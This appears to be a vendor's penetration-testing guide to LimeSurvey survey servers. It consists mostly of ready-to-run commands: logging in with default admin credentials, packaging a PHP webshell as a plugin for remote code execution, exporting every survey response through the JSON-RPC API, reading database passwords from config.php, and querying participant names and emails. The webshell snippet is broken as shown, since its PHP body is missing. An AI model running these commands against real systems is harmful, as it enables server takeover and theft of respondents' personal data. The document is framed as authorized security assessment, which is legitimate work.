LimeSurvey Security Testing: Default Credentials, RCE via Plugin Upload, Database, and API

LimeSurvey is the most widely deployed open-source survey platform, used by universities, research institutions, government agencies, and businesses worldwide to collect survey responses, conduct employee surveys, and gather sensitive personal data from participants. Its admin plugin upload feature and default credentials make it a reliable path to server compromise in penetration tests. Key assessment areas: LimeSurvey defaults to admin/password; authenticated admin users can upload a PHP plugin ZIP file achieving Remote Code Execution; the RemoteControl2 JSON-RPC API provides full survey administration and response export; config.php stores the MySQL database password; and participant and response tables contain all collected survey data including personal information provided by respondents. This guide covers systematic LimeSurvey security assessment.

Table of Contents

  1. Default Credentials and Plugin Upload RCE
  2. RemoteControl2 API Survey Data Extraction
  3. Database Credentials and Participant Data Access
  4. LimeSurvey Security Hardening

Default Credentials and Plugin Upload RCE

# LimeSurvey — default credentials and authenticated RCE via plugin upload
LIMESURVEY_URL="https://survey.example.com"

# Default credentials: admin / password (also try admin / admin, admin / limesurvey)
# Authenticate to admin panel
curl -s -c /tmp/lime_sess -b /tmp/lime_sess \
  "${LIMESURVEY_URL}/index.php/admin/authentication/sa/login" 2>/dev/null | \
  grep -o 'YII_CSRF_TOKEN.*value="[^"]*"' | head -1

CSRF_TOKEN=$(curl -s -c /tmp/lime_sess -b /tmp/lime_sess \
  "${LIMESURVEY_URL}/index.php/admin/authentication/sa/login" 2>/dev/null | \
  python3 -c "
import sys,re
html=sys.stdin.read()
m=re.search(r'name=\"YII_CSRF_TOKEN\"[^>]*value=\"([^\"]+)\"',html)
if m: print(m.group(1))
" 2>/dev/null)

curl -s -c /tmp/lime_sess -b /tmp/lime_sess \
  -X POST "${LIMESURVEY_URL}/index.php/admin/authentication/sa/login" \
  --data "user=admin&password=password&YII_CSRF_TOKEN=${CSRF_TOKEN}" \
  -L 2>/dev/null | grep -i "surveys\|dashboard\|invalid\|error" | head -3

# Plugin upload RCE (authenticated) — create malicious plugin ZIP
# Create minimal LimeSurvey plugin with PHP webshell
mkdir -p /tmp/webshell/WebShell && cat > /tmp/webshell/WebShell/WebShell.php << 'PHPEOF'
' > /tmp/webshell/WebShell/shell.php
cd /tmp/webshell && zip -r WebShell.zip WebShell/ 2>/dev/null

# Upload the plugin ZIP (confirmation step — use only on authorized systems)
echo "Upload /tmp/webshell/WebShell.zip to ${LIMESURVEY_URL}/index.php/admin/pluginmanager/sa/upload"
echo "After upload, access: ${LIMESURVEY_URL}/upload/plugins/WebShell/shell.php?cmd=id"

RemoteControl2 API Survey Data Extraction

# LimeSurvey RemoteControl2 API — survey and response data extraction
LIMESURVEY_URL="https://survey.example.com"

# Step 1: Get session key via RemoteControl2
SESSION_KEY=$(curl -s -X POST "${LIMESURVEY_URL}/index.php/admin/remotecontrol" \
  -H "Content-Type: application/json" \
  -d '{"method":"get_session_key","params":["admin","password"],"id":1}' 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('result',''))" 2>/dev/null)
echo "Session key: $SESSION_KEY"

# List all surveys
curl -s -X POST "${LIMESURVEY_URL}/index.php/admin/remotecontrol" \
  -H "Content-Type: application/json" \
  -d "{\"method\":\"list_surveys\",\"params\":[\"${SESSION_KEY}\",null],\"id\":2}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
surveys = d.get('result',[])
print(f'Surveys: {len(surveys)}')
for s in surveys:
    print(f'  [{s.get(\"sid\")}] {s.get(\"surveyls_title\")} active={s.get(\"active\")} responses={s.get(\"completed_responses\")}')
" 2>/dev/null

# Export survey responses — all participant data
SURVEY_ID="123456"
curl -s -X POST "${LIMESURVEY_URL}/index.php/admin/remotecontrol" \
  -H "Content-Type: application/json" \
  -d "{\"method\":\"export_responses\",\"params\":[\"${SESSION_KEY}\",\"${SURVEY_ID}\",\"json\",null,\"complete\"],\"id\":3}" 2>/dev/null | python3 -c "
import json,sys,base64
d=json.load(sys.stdin)
result = d.get('result','')
if result:
    try:
        decoded = base64.b64decode(result).decode('utf-8')
        data = json.loads(decoded)
        responses = data.get('responses',[])
        print(f'Survey responses: {len(responses)}')
        for r in responses[:5]:
            print(f'  Response: {r}')
    except Exception as e:
        print(f'Export result length: {len(result)}')
" 2>/dev/null

Database Credentials and Participant Data Access

# LimeSurvey config.php and database participant data extraction

# config.php — MySQL database credentials
grep -E "db_password|db_username|db_databasename|db_hostspec" \
  /var/www/html/limesurvey/application/config/config.php 2>/dev/null
# 'db_password' — MySQL password in the components.db.connectionString or separate field

# MySQL direct access — survey participant tables
mysql -u limesurvey -p"DB_PASSWORD" limesurvey 2>/dev/null << 'EOF'
-- List all surveys and response counts
SELECT sid, surveyls_title, active, anonymized, datecreated
FROM lime_surveys_languagesettings
JOIN lime_surveys ON lime_surveys_languagesettings.surveyls_survey_id = lime_surveys.sid
ORDER BY sid DESC LIMIT 20;
EOF

# Participant data from survey response tables
# LimeSurvey stores responses in lime_survey_XXXXXX tables
SURVEY_ID="123456"
mysql -u limesurvey -p"DB_PASSWORD" limesurvey 2>/dev/null << EOF
SELECT id, submitdate, startlanguage, token, lastpage, startdate, datestamp
FROM lime_survey_${SURVEY_ID}
LIMIT 20;
EOF

# Participant panel — if panel module used, stores detailed personal info
mysql -u limesurvey -p"DB_PASSWORD" limesurvey 2>/dev/null << 'EOF'
SELECT p.firstname, p.lastname, p.email, p.emailstatus, p.language
FROM lime_participants p
LIMIT 20;
EOF

LimeSurvey Security Hardening

LimeSurvey Security Hardening Checklist:
Security TestMethodRisk
Default admin/password credential exploitationPOST /index.php/admin/authentication/sa/login with admin:password — full LimeSurvey admin access; access to all surveys, response data, participant personal information, plugin manager, and system configurationCritical
Authenticated RCE via PHP plugin uploadPOST ZIP to /index.php/admin/pluginmanager/sa/upload — upload PHP webshell packaged as LimeSurvey plugin; access via /upload/plugins/{PluginName}/shell.php; OS command execution as web server userCritical (authenticated admin required)
RemoteControl2 API survey response extractionPOST /index.php/admin/remotecontrol — get_session_key() with admin credentials; export_responses() returns all responses for any survey including participant personal dataCritical
config.php database credential extractionRead application/config/config.php — MySQL db_password in PHP array; enables direct database access to all survey data, participant PII, and user accountsCritical
Participant data extraction from response tablesMySQL query on lime_survey_XXXXXX and lime_participants tables — complete survey responses with participant tokens, IP addresses, timestamps, and all submitted form dataCritical

Automate LimeSurvey Security Testing

Ironimo tests LimeSurvey deployments for default credential exploitation, authenticated RCE via PHP plugin ZIP upload testing, RemoteControl2 API survey and response data enumeration, config.php MySQL credential extraction, participant PII data access from lime_participants table, survey response export including personal data, plugin manager access control assessment, upload directory PHP execution testing, and API endpoint access control verification.

Start free scan